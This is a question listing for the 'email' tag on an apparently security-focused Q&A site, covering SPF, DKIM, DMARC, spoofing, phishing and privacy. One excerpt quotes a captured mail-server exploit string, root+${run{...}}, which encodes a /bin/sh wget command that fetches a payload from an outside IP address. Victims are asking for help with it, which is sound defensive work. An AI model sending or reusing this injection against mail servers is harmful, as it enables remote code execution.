Questions tagged [email]
Related to email protocols, clients, servers, content, and message format.
1,389
questions
-1
votes
0answers
28 views
Is it possible to hide a domain's email provider? [on hold]
All things considered, this question could possibly be a non-issue or simply too stupid a idea to consider for an attacker when other more viable options are available.
Suppose you want to use a ...
0
votes
0answers
16 views
Deeplinks in email that autologin
I was wandering if, a deeplink inside an email that auto-authentication even though the session is expired, it is GDPR compliant. For instance if I send to an user an email subscription with links to ...
0
votes
1answer
92 views
Is there a way to check the authenticity of a forwarded email?
This question relates to an answer on Skeptics.SE. Read the comment where somebody wrote "Even if you forward someone the email you received, we can't be sure you didn't fake it." Is this statement ...
1
vote
1answer
48 views
Solution to block email sending to domains with typo error
I'm trying to find a solution to block the sending of emails to domains with typo errors in it, for example gmai.com or outlok.com.
I am working for a client who uses Office 365 that would like to ...
1
vote
0answers
66 views
Accessing Gmail if you are the owner of domain that someone else uses
Say Person A (Adam) owns the domain example.com, but is allowing free use of the domain name to his friend, Person B (Bill). As the owner of the domain, Adam logs into his registrar and points the ...
-1
votes
1answer
57 views
Is it possible to intercept messages from email address or phone number that is expired? if yes, how? [on hold]
I used to have an email account for receiving important messages but it was deleted by the email provider in which they claimed that deletion of the email address is still in progess but cannot be ...
0
votes
0answers
16 views
Executable Code in Mail Headers [duplicate]
Recently I noticed someone delivering email to my server root account with headers like this:
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20199.204.214.40x2fsbzx2f45.79.163.30x22}}@host....
0
votes
2answers
92 views
Weird character sequence in email subject
I've noticed that the subject in one of the spam emails looks like this in source:
Subject: Offe=?UTF-8?Q?=EF=BB=BF?=r fr=?UTF-8?Q?=EF=BB=BF?=om C=?UTF-8?Q?=EF=BB=BF?=redi=?UTF-8?Q?=EF=BB=BF?=t On=?...
2
votes
1answer
157 views
Mystery link containing fragment identifier in malicious email
The following link was received in a suspected phishing attack email. Unfortunately, the recipient clicked on the link in their outlook client:
<tr>
<td class="m_-[string-of-19-numbers]...
1
vote
0answers
38 views
Emails Bypassing Exchange Transportation Rules
So here is the situation, we are trying to filter out spam emails within our organizations Exchange 2010 mail server and for the most part we have been pretty successful. Except for a few emails.
...
1
vote
1answer
76 views
Trailcams and disabling them
I'm using trailcams (10) for security in my yard. I'm dealing with vandals destroying my trees and set up trailcams to catch the person. For almost 3 months they have been cutting my trees but somehow ...
-1
votes
0answers
54 views
SendGrid emails ignoring SPF records for mass phishing attempts
Recently we have encountered 2 instances of mass phishing attempts from 2 accounts using SendGrid although the SPF is published as hard fail for both without SendGrid records and only for the mail ...
-2
votes
0answers
43 views
Spam email archives [closed]
Just want to ask if there are other sources/archives for spam emails or phishing emails other than these http://artinvoice.hu/spams/ and http://untroubled.org/spam/?
We've searched for other sources ...
-1
votes
1answer
55 views
Email and Computer Serial Number
Are email servers like Gmail, etc. able to capture a computer's serial number on sent emails? If so, are there ways to block that type of sensitive identifiable information from being captured by ...
0
votes
1answer
110 views
Email under GDPR [closed]
I am aware that email is considered as PII and should be used and stored under strict security guidelines as per GDPR. If we use email in any our communications and in what cases it might not be ...
0
votes
0answers
48 views
How to detect a spoofed email with Outlook Web Access?
I am specifically asking about Outlook Web Access (browser based Outlook), and not for any other email service or program.
Within Outlook Web Access, is there a way to tell whether or not an email ...
0
votes
2answers
85 views
Unlimited Private Email Aliases? [closed]
I don't know whether this question belongs here but I can't think of any other community that would want or know a service like this the most.
I'm looking for an email provider service that allows me ...
1
vote
2answers
162 views
Preventing tracking pixels on Mozilla Thunderbird
Is there a way to prevent loading of tracking pixels on Mozilla Thunderbird ? I know there's a way to prevent loading images by default but I'd like to be able to load images without having to worry ...
1
vote
1answer
388 views
caught email exploit attempt — info requested — mail to root+${…}@host [duplicate]
I received an email to the address below that is an apparent exploit attempt. Does anyone have details about the specific exploit so I can make sure I am patched/not exposed:
root+${run{...
0
votes
1answer
58 views
Block SMTP Connection That Doesn't Have Credentials
I am able to do the following and connect successfully without any type of credentials:
telnet <IP Address> 25
When I am in I can verfiy emails, send emails, etc. I feel like this is a ...
2
votes
1answer
93 views
Is there a name for using a web site email feature to harass someone or the site?
The scenario is that a website has a password recovery feature: you enter your email and if you have an account with that email, it sends you a recovery link.
But then someone writes a script that ...
1
vote
1answer
41 views
Difference between local and central anti-spam
I'm attending a web security course whose slides, concerning techniques for protecting ourselves from spam, sometimes report the expressions "local anti-spam" (or "personal anti-spam") and "central ...
2
votes
2answers
91 views
What's the point of S/MIME?
I received an email recently which displayed as an empty body with a smime.p7m attachment. After some Googling, I discovered it was an encrypted email -- neat! So I started looking for the key. But... ...
1
vote
1answer
38 views
Which benefits personal anti-spams bring w.r.t. e-mail provider's ones? [closed]
Assuming that an e-mail service provider is using an excellent anti-spam software, for what reason its users should employ a personal anti-spam?
1
vote
2answers
68 views
Does DKIM protect the whole body message?
From RFC6376 #page-29, it says:
In hash step 1, the Signer/Verifier MUST hash the message body, canonicalized using the body canonicalization algorithm specified in the "c=" tag and then ...
1
vote
1answer
40 views
Spam/Phishing detection when there is no MX record
While SPF/DKIM/DMARC are standard, foundational tools to help protect an email-sending domain from spoofing, what about domains that do not send emails?
How do spam or phishing filters treat emails ...
1
vote
1answer
73 views
What are the risks of redirecting my email with Google Domains?
I have bought a domain from Google Domains. One of the features they offer is to redirect all email sent to that domain to any other email address of my choice. Now I'm wondering; is it secure and ...
2
votes
3answers
135 views
SPF and Office 365 email accounts spoofing other Office 365 email accounts
After an incident, I have a question which answer's I cannot find.
I cannot provide the real headers as they come from a client.
Let’s consider a company which uses an Office365 tenant as mail server....
3
votes
4answers
391 views
Do mail servers follow links in emails as part of a security scan before inbox delivery?
I've implemented a passwordless login using a magic link and email. The link can be used only once. One customer is complaining that once they click the link, the page reports that the link is already ...
3
votes
1answer
55 views
Securing email input from users
Consider the following strawman application, which remembers your TODOs.
Application has a destination email "todos@todosaver.com"
Users (already registered through normal means) send emails to the ...
1
vote
1answer
147 views
If someone has my email address can they get my IP address?
I'm being stalked and the stalker is a hacker. If he gets my new email address can he get my IP address from it?
0
votes
1answer
75 views
Should I send login id on email?
I have a very common use case where an admin is creating an account of the user and then I need to send the login id generated by my system to the user. And the user will need to set a password on the ...
0
votes
1answer
70 views
Is detecting if an email has an account considered a vulnerability with AWS cognito?
Am doing a pen test on a client system using AWS Cognito and userpools for authentication using the client side SDK provided by AWS.
during the forget password flow, I noticed that Cognito request ...
0
votes
0answers
55 views
outlook.com breaks DKIM when forwarding for multipart messages
When I send a multipart email from my server to outlook.com, but have it forwarded to a Gmail account (or anywhere else), DKIM fails, with the message "body hash did not verify", even though as far as ...
2
votes
2answers
261 views
Failed to send emails that I never sent
Some months ago, I started to receive some emails from "Mail Delivery Subsystem" (mailer-daemon@googlemail.com). Despite this is "automatic" failure email, I thought these emails were spam, so I just ...
1
vote
3answers
210 views
Why would a scammer not reply with the same email?
I was recently messaged over a website of an online marketplace regarding an advertisement of an item I was selling, whereupon the "buyer" asked me to contact them over an email they provided.
After ...
0
votes
1answer
76 views
Filtering Obfuscated Spam Emails In Exchange
So the past few weeks we have been trying to cut back on the amount of spam reaching our users in our organization. We have been successful in implementing hard filtering rules like if an email ...
1
vote
1answer
81 views
Disturbing Notification
I received an E-mail notification a couple of days ago welcoming me for signing onto Stockholm Arlanda Airport's wifi network. My wife and I have never been to Stockholm. I asked my neice's husband ...
3
votes
2answers
145 views
How this tracking (and more) was done using an image in an email?
As reported in the NY Times, there was some type of electronic spying in a high-profile military trial. Its claimed that the prosecutors were spying on the defense:
The court-martial ... has been ...
0
votes
1answer
57 views
DMARC “policy_evaluated” is “fail” for SPF, even when SPF domain alignment is “relaxed”?
A DMARC aggregate report which I received reads (irrelevant pieces removed, domains changed):
<record>
<row>
<policy_evaluated>
<disposition>none</...
0
votes
1answer
127 views
Prove a received mail came from a company email when company is tampering on their side
X works for EvilCorp and he sends a whistleblowing email to HR. HR responds with "we will look into it". But management takes advantage of having control over X's PC and all email addresses and ...
0
votes
1answer
126 views
Probable hack: email “from” names being corrupted
Something very weird and troubling started happening on my wife's Gmail account today. She received an email from G. Arnold, who is a regular correspondent, but in her inbox it showed as being from "...
1
vote
1answer
127 views
Phising test failed e-mail to my personal account, how does this scam work?
I've recently gotten a pair of "User Selkie has failed the phishing test" emails to my personal account. The email has no other information, no links or anything, and while I'm not going to respond to ...
84
votes
5answers
19k views
Why would someone open a Netflix account using my Gmail address?
This is something that happened to me a few months ago. I don't know if it is a hack attempt, although I can't think of any way that there could be any danger or any personal information gained.
I ...
1
vote
1answer
65 views
What is the reason for DMARC spec to not require specifically SPF or DKIM pass?
DMARC produces "pass" result if and only if at least one of SPF and DKIM checks pass. It has been noted that DKIM provides stronger protection of the two (if implemented properly). But, in order to ...
1
vote
0answers
32 views
Were PGP/MIME and PGP/Inline equally affected by EFAIL?
I saw this question about which out of those two protocols is more secure. The question was from 2016, but Efail was discovered late 2017. I understand that some email programs were affected while ...
0
votes
1answer
113 views
Soft-fail vs Hard-fail SPF + Monitor vs Reject+Strict DMARC, could it be counterproductive?
I have a ProtonMail premium plan with one custom domain and a single email address. My domain DNS is protected with DNSSEC.
What caught my eye were two things they recommended in the domain setup:
...
0
votes
2answers
111 views
Do spammers use legitimate email marketing companies?
Every so often I will find myself on a mailing list that I know I didn't sign up for. This always gets me very cautious and I treat the junk mail as hostile spam - don't click, just delete and ignore. ...
0
votes
2answers
94 views
ML approach to malicious attachments using email contents
Based on my understanding of the field, it seems like there is a lot of attention paid to spam filtering based on the contents and metadata of an email, and there is considerable attention paid to ...
1
vote
1answer
72 views
What accounts for file accessed immediately after including link in Gmail?
Less than 60 seconds after sending an email w/ Gmail that contained a pasted https link to a .zip file, that file was accessed by two non-Google servers. Neither server belongs to the email recipient. ...
